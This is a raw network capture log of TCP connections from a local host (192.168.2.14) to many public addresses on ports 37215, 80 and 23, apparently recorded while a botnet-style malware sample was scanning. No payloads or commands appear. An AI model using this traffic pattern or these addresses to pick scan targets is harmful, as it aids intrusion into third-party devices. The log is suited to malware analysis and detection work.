Oct 17, 2024 02:19:43.539012909 CEST	37215	51388	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:43.539021969 CEST	80	59064	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:43.539045095 CEST	54756	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.539110899 CEST	37215	58860	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:43.539207935 CEST	37215	37498	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:43.539220095 CEST	37215	38470	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:43.539264917 CEST	37215	56690	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:43.539268017 CEST	38470	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.539407969 CEST	37215	37682	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:43.539419889 CEST	37215	55716	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:43.539431095 CEST	37215	56680	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:43.539439917 CEST	37215	53766	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:43.539452076 CEST	37215	45386	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:43.539470911 CEST	56680	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.539611101 CEST	37215	51388	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:43.539622068 CEST	37215	36726	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:43.539661884 CEST	37215	45456	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:43.539755106 CEST	37215	58860	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:43.539766073 CEST	37215	42374	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:43.539778948 CEST	51458	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:43.539804935 CEST	37215	43322	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:43.539815903 CEST	37215	37498	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:43.539851904 CEST	43322	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.539866924 CEST	37215	36896	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:43.539975882 CEST	37215	56690	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:43.539992094 CEST	37215	35076	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:43.540002108 CEST	37215	58904	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:43.540127039 CEST	37215	55716	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:43.540138006 CEST	80	47928	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:43.540148973 CEST	37215	50872	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:43.540154934 CEST	37215	45386	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:43.540188074 CEST	47928	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:43.540203094 CEST	37215	34862	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:43.540294886 CEST	37215	45456	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:43.540306091 CEST	37215	36726	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:43.540319920 CEST	37215	50758	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:43.540333033 CEST	37215	57766	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:43.540414095 CEST	54564	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:43.540414095 CEST	54564	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:43.540447950 CEST	37215	42374	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:43.540458918 CEST	37215	58580	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:43.540493011 CEST	58580	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.540549994 CEST	60292	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.540551901 CEST	37215	58144	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:43.540563107 CEST	37215	36896	156.42.148.140	192.168.2.14
Oct 17, 2024 02:19:43.540776968 CEST	37215	42258	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:43.540787935 CEST	37215	43054	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:43.540796995 CEST	37215	58904	197.182.193.48	192.168.2.14
Oct 17, 2024 02:19:43.540817976 CEST	37215	35076	197.130.159.152	192.168.2.14
Oct 17, 2024 02:19:43.540822029 CEST	43054	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.540828943 CEST	37215	33444	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:43.540838957 CEST	37215	50872	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:43.540863991 CEST	37215	38798	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:43.541008949 CEST	37215	34862	156.158.100.93	192.168.2.14
Oct 17, 2024 02:19:43.541019917 CEST	37215	56320	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:43.541028976 CEST	37215	57070	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:43.541038990 CEST	37215	57766	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:43.541058064 CEST	37215	50758	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:43.541073084 CEST	37215	57408	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:43.541100979 CEST	57070	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.541156054 CEST	37215	58144	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:43.541167021 CEST	37215	58236	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:43.541187048 CEST	37215	42258	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:43.541197062 CEST	37215	53530	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:43.541312933 CEST	37215	54240	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:43.541323900 CEST	37215	33444	197.151.100.246	192.168.2.14
Oct 17, 2024 02:19:43.541371107 CEST	37215	54330	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:43.541373014 CEST	54240	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.541380882 CEST	37215	51026	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:43.541518927 CEST	37215	38798	41.23.92.152	192.168.2.14
Oct 17, 2024 02:19:43.541529894 CEST	37215	51174	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:43.541539907 CEST	37215	56320	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:43.541559935 CEST	37215	51804	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:43.541569948 CEST	37215	59176	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:43.541603088 CEST	51804	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.541639090 CEST	37215	54646	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:43.541650057 CEST	37215	57408	197.167.213.135	192.168.2.14
Oct 17, 2024 02:19:43.541877985 CEST	37215	47832	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:43.541887999 CEST	37215	58236	41.249.70.37	192.168.2.14
Oct 17, 2024 02:19:43.541898012 CEST	37215	41126	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:43.541908979 CEST	37215	41592	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:43.541922092 CEST	37215	34770	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:43.541941881 CEST	41592	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.541997910 CEST	37215	53530	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:43.542010069 CEST	37215	47740	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:43.542059898 CEST	37215	51026	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:43.542072058 CEST	37215	54330	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:43.542196989 CEST	37215	52128	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:43.542208910 CEST	37215	43276	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:43.542226076 CEST	37215	51174	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:43.542237043 CEST	80	53526	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:43.542285919 CEST	37215	43584	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:43.542292118 CEST	37215	56800	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:43.542378902 CEST	37215	59176	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:43.542391062 CEST	37215	54266	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:43.542397022 CEST	43584	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.542428017 CEST	37215	40760	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:43.542679071 CEST	37215	41008	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:43.542689085 CEST	37215	47832	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:43.542704105 CEST	37215	54646	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:43.542717934 CEST	37215	51690	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:43.542726040 CEST	41008	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.542776108 CEST	37215	34770	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:43.542797089 CEST	37215	41126	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:43.542807102 CEST	37215	48420	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:43.542943954 CEST	37215	34518	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:43.542953968 CEST	37215	47740	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:43.543010950 CEST	37215	51458	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:43.543096066 CEST	47928	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:43.543107986 CEST	47928	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:43.543220043 CEST	37215	43276	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:43.543231010 CEST	37215	52128	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:43.543241024 CEST	37215	51250	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:43.543251991 CEST	37215	51442	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:43.543263912 CEST	37215	56800	41.252.236.8	192.168.2.14
Oct 17, 2024 02:19:43.543284893 CEST	37215	50110	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:43.543301105 CEST	51442	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.543456078 CEST	37215	42090	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:43.543467999 CEST	37215	40760	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:43.543482065 CEST	37215	54266	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:43.543493032 CEST	37215	42266	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:43.543534994 CEST	37215	46164	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:43.543544054 CEST	42266	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.543682098 CEST	37215	51690	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:43.543693066 CEST	37215	60010	156.196.4.63	192.168.2.14
Oct 17, 2024 02:19:43.543703079 CEST	37215	34518	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:43.543713093 CEST	37215	48420	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:43.543762922 CEST	37215	57582	197.111.212.103	192.168.2.14
Oct 17, 2024 02:19:43.543983936 CEST	23	60224	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:43.544019938 CEST	80	59294	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:43.544096947 CEST	54692	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:43.544492006 CEST	48864	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:43.544698954 CEST	37215	51458	41.140.60.225	192.168.2.14
Oct 17, 2024 02:19:43.544754028 CEST	80	49298	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:43.544800997 CEST	49298	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:43.545232058 CEST	80	51198	17.54.164.225	192.168.2.14
Oct 17, 2024 02:19:43.545278072 CEST	51198	80	192.168.2.14	17.54.164.225
Oct 17, 2024 02:19:43.545356989 CEST	37215	54564	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:43.545583010 CEST	80	60292	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:43.545654058 CEST	60292	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.546837091 CEST	60292	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.547812939 CEST	54756	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.547813892 CEST	38470	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.547828913 CEST	56680	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.547836065 CEST	43322	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.547854900 CEST	43054	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.547854900 CEST	58580	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.547871113 CEST	57070	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.547883987 CEST	51804	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.547888041 CEST	54240	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.547897100 CEST	43584	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.547913074 CEST	41592	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.547913074 CEST	41008	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.547925949 CEST	51442	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.548022032 CEST	80	47928	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:43.548032045 CEST	52572	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.548032045 CEST	42266	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.548032045 CEST	52572	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.549674988 CEST	52700	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.551672935 CEST	80	60292	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:43.551879883 CEST	60292	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:43.552810907 CEST	37215	54756	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:43.552856922 CEST	54756	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.552879095 CEST	37215	38470	156.110.225.254	192.168.2.14
Oct 17, 2024 02:19:43.552891016 CEST	37215	43322	41.37.238.162	192.168.2.14
Oct 17, 2024 02:19:43.552902937 CEST	37215	56680	41.24.74.237	192.168.2.14
Oct 17, 2024 02:19:43.552953005 CEST	43322	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:43.552954912 CEST	38470	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:43.552967072 CEST	56680	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:43.552969933 CEST	37215	43054	156.243.178.7	192.168.2.14
Oct 17, 2024 02:19:43.552989960 CEST	37215	52572	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:43.552999973 CEST	37215	58580	156.228.182.173	192.168.2.14
Oct 17, 2024 02:19:43.553011894 CEST	37215	57070	197.108.80.199	192.168.2.14
Oct 17, 2024 02:19:43.553013086 CEST	43054	37215	192.168.2.14	156.243.178.7
Oct 17, 2024 02:19:43.553024054 CEST	37215	51804	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:43.553035021 CEST	37215	54240	197.233.34.205	192.168.2.14
Oct 17, 2024 02:19:43.553052902 CEST	37215	43584	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:43.553062916 CEST	37215	41592	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:43.553070068 CEST	51804	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:43.553070068 CEST	58580	37215	192.168.2.14	156.228.182.173
Oct 17, 2024 02:19:43.553071976 CEST	57070	37215	192.168.2.14	197.108.80.199
Oct 17, 2024 02:19:43.553076029 CEST	37215	41008	156.215.137.184	192.168.2.14
Oct 17, 2024 02:19:43.553076029 CEST	54240	37215	192.168.2.14	197.233.34.205
Oct 17, 2024 02:19:43.553086996 CEST	37215	51442	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:43.553095102 CEST	43584	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:43.553098917 CEST	41592	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:43.553098917 CEST	41008	37215	192.168.2.14	156.215.137.184
Oct 17, 2024 02:19:43.553128958 CEST	51442	37215	192.168.2.14	41.33.227.235
Oct 17, 2024 02:19:43.554150105 CEST	37215	42266	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:43.554209948 CEST	42266	37215	192.168.2.14	41.59.142.173
Oct 17, 2024 02:19:43.554621935 CEST	37215	52700	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:43.554820061 CEST	52700	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.554820061 CEST	52700	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.555764914 CEST	57830	23	192.168.2.14	130.126.171.15
Oct 17, 2024 02:19:43.555768013 CEST	44162	23	192.168.2.14	98.28.75.43
Oct 17, 2024 02:19:43.555768013 CEST	60274	80	192.168.2.14	202.116.48.74
Oct 17, 2024 02:19:43.555780888 CEST	50378	37215	192.168.2.14	156.42.18.17
Oct 17, 2024 02:19:43.555780888 CEST	46104	23	192.168.2.14	37.144.172.5
Oct 17, 2024 02:19:43.555780888 CEST	52126	23	192.168.2.14	111.163.29.206
Oct 17, 2024 02:19:43.555780888 CEST	34428	23	192.168.2.14	116.246.203.72
Oct 17, 2024 02:19:43.555785894 CEST	58046	80	192.168.2.14	207.203.30.200
Oct 17, 2024 02:19:43.555785894 CEST	45532	80	192.168.2.14	218.108.23.30
Oct 17, 2024 02:19:43.555787086 CEST	38130	80	192.168.2.14	182.132.193.27
Oct 17, 2024 02:19:43.555794001 CEST	43884	37215	192.168.2.14	41.132.10.240
Oct 17, 2024 02:19:43.555794001 CEST	53572	80	192.168.2.14	163.8.170.156
Oct 17, 2024 02:19:43.555797100 CEST	55008	37215	192.168.2.14	156.40.162.205
Oct 17, 2024 02:19:43.555802107 CEST	46528	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:43.555810928 CEST	35254	37215	192.168.2.14	41.217.22.123
Oct 17, 2024 02:19:43.555811882 CEST	49838	37215	192.168.2.14	41.102.78.212
Oct 17, 2024 02:19:43.555824995 CEST	39332	80	192.168.2.14	129.241.26.197
Oct 17, 2024 02:19:43.560112000 CEST	37215	52700	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:43.560161114 CEST	52700	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:43.587213039 CEST	37215	54564	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:43.587240934 CEST	80	59294	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:43.587255955 CEST	37215	57582	197.111.212.103	192.168.2.14
Oct 17, 2024 02:19:43.587265968 CEST	37215	60010	156.196.4.63	192.168.2.14
Oct 17, 2024 02:19:43.587285995 CEST	37215	46164	156.136.27.184	192.168.2.14
Oct 17, 2024 02:19:43.587296963 CEST	37215	42090	41.59.142.173	192.168.2.14
Oct 17, 2024 02:19:43.587316036 CEST	37215	50110	197.167.89.226	192.168.2.14
Oct 17, 2024 02:19:43.587327003 CEST	37215	51250	41.33.227.235	192.168.2.14
Oct 17, 2024 02:19:43.587775946 CEST	34964	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.587785006 CEST	40402	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:43.587802887 CEST	57476	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:43.587802887 CEST	37182	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:43.587810993 CEST	60518	37215	192.168.2.14	41.231.130.210
Oct 17, 2024 02:19:43.587812901 CEST	43160	80	192.168.2.14	198.36.138.239
Oct 17, 2024 02:19:43.587812901 CEST	57236	80	192.168.2.14	213.16.243.220
Oct 17, 2024 02:19:43.587816954 CEST	45978	37215	192.168.2.14	41.32.14.252
Oct 17, 2024 02:19:43.587817907 CEST	37112	80	192.168.2.14	98.242.53.73
Oct 17, 2024 02:19:43.587882042 CEST	38958	37215	192.168.2.14	156.11.104.107
Oct 17, 2024 02:19:43.587882042 CEST	35214	80	192.168.2.14	102.219.103.167
Oct 17, 2024 02:19:43.591784954 CEST	57768	23	192.168.2.14	172.126.65.188
Oct 17, 2024 02:19:43.591789961 CEST	42002	23	192.168.2.14	93.141.142.177
Oct 17, 2024 02:19:43.591793060 CEST	60290	23	192.168.2.14	156.21.115.18
Oct 17, 2024 02:19:43.591816902 CEST	48594	23	192.168.2.14	125.1.248.23
Oct 17, 2024 02:19:43.592681885 CEST	37215	40402	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:43.592694998 CEST	80	34964	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:43.592705965 CEST	80	57476	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:43.592750072 CEST	40402	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:43.592755079 CEST	37215	37182	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:43.593115091 CEST	57476	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:43.593115091 CEST	57476	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:43.593115091 CEST	37182	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:43.593115091 CEST	57476	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:43.593116999 CEST	34964	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.593604088 CEST	37182	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:43.593604088 CEST	37182	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:43.595102072 CEST	58250	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:43.595151901 CEST	80	47928	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:43.595405102 CEST	37964	37215	192.168.2.14	197.159.26.158
Oct 17, 2024 02:19:43.597997904 CEST	80	57476	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:43.598437071 CEST	37215	37182	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:43.598577976 CEST	34964	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.598577976 CEST	34964	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.599056005 CEST	40402	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:43.599056005 CEST	40402	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:43.599117994 CEST	37215	52572	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:43.600137949 CEST	35736	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.600759029 CEST	41184	37215	192.168.2.14	41.67.208.122
Oct 17, 2024 02:19:43.603467941 CEST	80	34964	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:43.603853941 CEST	37215	40402	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:43.605182886 CEST	80	35736	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:43.605246067 CEST	35736	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.605295897 CEST	35736	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.610575914 CEST	80	35736	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:43.610677958 CEST	35736	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:43.619774103 CEST	51492	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.619780064 CEST	59342	23	192.168.2.14	199.250.119.220
Oct 17, 2024 02:19:43.619780064 CEST	50886	23	192.168.2.14	172.162.8.159
Oct 17, 2024 02:19:43.619784117 CEST	51666	23	192.168.2.14	71.184.19.7
Oct 17, 2024 02:19:43.619790077 CEST	60526	37215	192.168.2.14	156.229.244.150
Oct 17, 2024 02:19:43.619817972 CEST	45928	37215	192.168.2.14	41.159.173.9
Oct 17, 2024 02:19:43.619821072 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:43.619823933 CEST	52128	37215	192.168.2.14	41.58.143.232
Oct 17, 2024 02:19:43.625225067 CEST	23	59342	199.250.119.220	192.168.2.14
Oct 17, 2024 02:19:43.625451088 CEST	59342	23	192.168.2.14	199.250.119.220
Oct 17, 2024 02:19:43.625740051 CEST	80	51492	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.625812054 CEST	51492	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.626013041 CEST	51492	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.626013041 CEST	51492	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.627746105 CEST	52244	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.631136894 CEST	80	51492	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.633860111 CEST	80	52244	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.633963108 CEST	52244	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.633963108 CEST	52244	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.639179945 CEST	80	52244	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.639192104 CEST	37215	37182	197.159.26.158	192.168.2.14
Oct 17, 2024 02:19:43.639203072 CEST	80	57476	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:43.639216900 CEST	80	52244	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.639405966 CEST	52244	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:43.651302099 CEST	37215	40402	41.67.208.122	192.168.2.14
Oct 17, 2024 02:19:43.651315928 CEST	80	34964	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:43.651762962 CEST	43480	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:43.651787043 CEST	40610	23	192.168.2.14	52.192.221.160
Oct 17, 2024 02:19:43.651787996 CEST	33144	80	192.168.2.14	132.200.106.230
Oct 17, 2024 02:19:43.651796103 CEST	56832	80	192.168.2.14	174.64.204.55
Oct 17, 2024 02:19:43.651796103 CEST	50172	37215	192.168.2.14	197.61.234.163
Oct 17, 2024 02:19:43.651797056 CEST	35504	23	192.168.2.14	158.203.105.171
Oct 17, 2024 02:19:43.651806116 CEST	55494	80	192.168.2.14	173.134.199.164
Oct 17, 2024 02:19:43.651806116 CEST	34068	80	192.168.2.14	160.83.128.230
Oct 17, 2024 02:19:43.651812077 CEST	40264	23	192.168.2.14	154.163.182.208
Oct 17, 2024 02:19:43.651815891 CEST	46536	37215	192.168.2.14	41.89.192.253
Oct 17, 2024 02:19:43.651815891 CEST	51088	23	192.168.2.14	121.141.64.83
Oct 17, 2024 02:19:43.651818991 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:43.651827097 CEST	41624	80	192.168.2.14	126.195.147.30
Oct 17, 2024 02:19:43.651827097 CEST	40830	37215	192.168.2.14	41.174.5.246
Oct 17, 2024 02:19:43.656630039 CEST	23	40610	52.192.221.160	192.168.2.14
Oct 17, 2024 02:19:43.656641960 CEST	37215	43480	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:43.656740904 CEST	40610	23	192.168.2.14	52.192.221.160
Oct 17, 2024 02:19:43.656788111 CEST	43480	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:43.657006025 CEST	43480	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:43.657006025 CEST	43480	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:43.657927036 CEST	44196	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:43.661953926 CEST	37215	43480	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:43.675241947 CEST	80	51492	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:43.683769941 CEST	36972	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:43.683769941 CEST	59144	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:43.683773994 CEST	37294	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:43.683789968 CEST	38576	80	192.168.2.14	117.50.228.62
Oct 17, 2024 02:19:43.683799982 CEST	53486	37215	192.168.2.14	156.250.16.160
Oct 17, 2024 02:19:43.683804035 CEST	35322	80	192.168.2.14	36.129.78.117
Oct 17, 2024 02:19:43.683804035 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:43.683806896 CEST	40096	37215	192.168.2.14	41.212.199.44
Oct 17, 2024 02:19:43.683830976 CEST	47024	80	192.168.2.14	153.71.173.164
Oct 17, 2024 02:19:43.683831930 CEST	53072	80	192.168.2.14	201.90.41.212
Oct 17, 2024 02:19:43.683831930 CEST	43564	37215	192.168.2.14	156.106.39.28
Oct 17, 2024 02:19:43.683850050 CEST	39512	80	192.168.2.14	60.255.163.138
Oct 17, 2024 02:19:43.687768936 CEST	55912	23	192.168.2.14	154.109.86.141
